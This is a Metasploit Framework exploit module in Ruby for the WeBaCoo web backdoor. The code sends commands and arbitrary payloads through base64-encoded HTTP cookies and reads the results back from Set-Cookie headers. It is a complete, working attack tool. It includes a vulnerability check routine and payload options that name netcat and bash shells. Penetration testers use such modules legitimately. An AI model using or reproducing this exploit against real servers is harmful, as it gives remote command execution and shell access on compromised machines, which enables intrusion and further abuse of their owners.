##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WeBaCoo Backdoor Exploit',
			'Description'    => %q{
				WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a
				stealth terminal-like connection over HTTP between client and web server. Using
				this exploit module you can interact with the backdoor server without using WeBaCoo
				terminal mode to establish the communication channel.
			},
			'Author'         => [ 'A. Bechtsoudis <anestis [at] bechtsoudis.com>' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'https://github.com/anestisb/WeBaCoo' ],
					[ 'URL', 'https://bechtsoudis.com/webacoo/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['unix','linux'],
			'Arch'           => ARCH_CMD,
			'Payload'        =>
				{
					# max HTTP header length
					'Space'       => 8190,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby python netcat netcat-e bash'
						},
				},
			'DisclosureDate' => 'Nov 29 2011',
			'Targets'        => [ ['Automatic', { }] ],
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "WeBaCoo backdoor path", '/index.php']),
				OptString.new('COOKIE', [ true, "Cookie name to use", 'M-Cookie'])
			], self.class)
	end

	def check
		cookie = datastore['COOKIE']

		# generate a random string for a test echo command
		rstr = rand_text_alphanumeric(6)

		# base64 encode the command
		command = Rex::Text.encode_base64("echo '#{rstr}'")

		# random delimiter used to wrap the server's response
		delim = rand_string(4)

		# form the cookie that will tranfer the payload
		# details about backdoor communication model at:
		# https://github.com/anestisb/WeBaCoo/wiki/Documentation
		cookie = "cm=#{command}; cn=#{cookie}; cp=#{delim}"
		print_status("Checking target URI for backdoor access.")
		response = send_request_cgi({
			'method' => 'GET',
			'uri' => normalize_uri(target_uri.path),
			'cookie' => cookie
		})

		# server response validation
		if response and response.code == 200
			# retrieve the HTTP response cookie sets
			res_cookie = Rex::Text.uri_decode(response.headers['Set-Cookie'])
			if res_cookie
				# obtain the command output substring wrapped between delimiters
				cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))

				# decode command output
				cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
				if cmd_res == rstr
					return Exploit::CheckCode::Vulnerable
				else
					print_error("Server did not responded with expected cookie values.")
					return Exploit::CheckCode::Safe
				end
			else
				print_error("Server did not responded with a Set-Cookie in header.")
				return Exploit::CheckCode::Safe
			end
		end
		print_error("Server responded with #{response.code}.") unless response.nil?
		return Exploit::CheckCode::Safe
	end

	def exploit
		cookie = datastore['COOKIE']

		print_status("Sending payload via HTTP header cookie")

		# generate a random delimiter
		delim = rand_string(4)

		# form the payload cookie carrier
		cookie = "cm=" + Rex::Text.encode_base64(payload.encoded) + "; cn=#{cookie}; cp=#{delim}"

		response = send_request_raw({
			'method' => 'GET',
			'uri' => normalize_uri(target_uri.path),
			'cookie' => cookie
		})

		# in case of custom command payload the server's response is captured and printed
		if datastore['PAYLOAD'] == 'cmd/unix/generic' and response and response.code == 200
			# retrieve the HTTP response cookie sets
			res_cookie = URI.decode(response.headers['Set-Cookie'])
			if res_cookie
				# obtain the command output substring wrapped between delimiters
				cmd_res = *(/#{delim}(.*)#{delim}/.match(res_cookie))

				# decode command output
				cmd_res = Rex::Text.decode_base64(cmd_res[1]).chomp! unless cmd_res.nil?
				print_good("Server responed with:\n#{cmd_res}")
			end
		end

	end

	# Generate a random string with one base64 non-valid character
	def rand_string(length=8)
		# Base64 valid characters
		vchars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a
		# Base64 non-valid characters
		nvchars = (['!','@','#','%','&','*','?','~']).to_a
		str=''
		(length-1).times{ str << vchars[rand(vchars.size)] }
		return str + nvchars[rand(nvchars.size)]
	end
end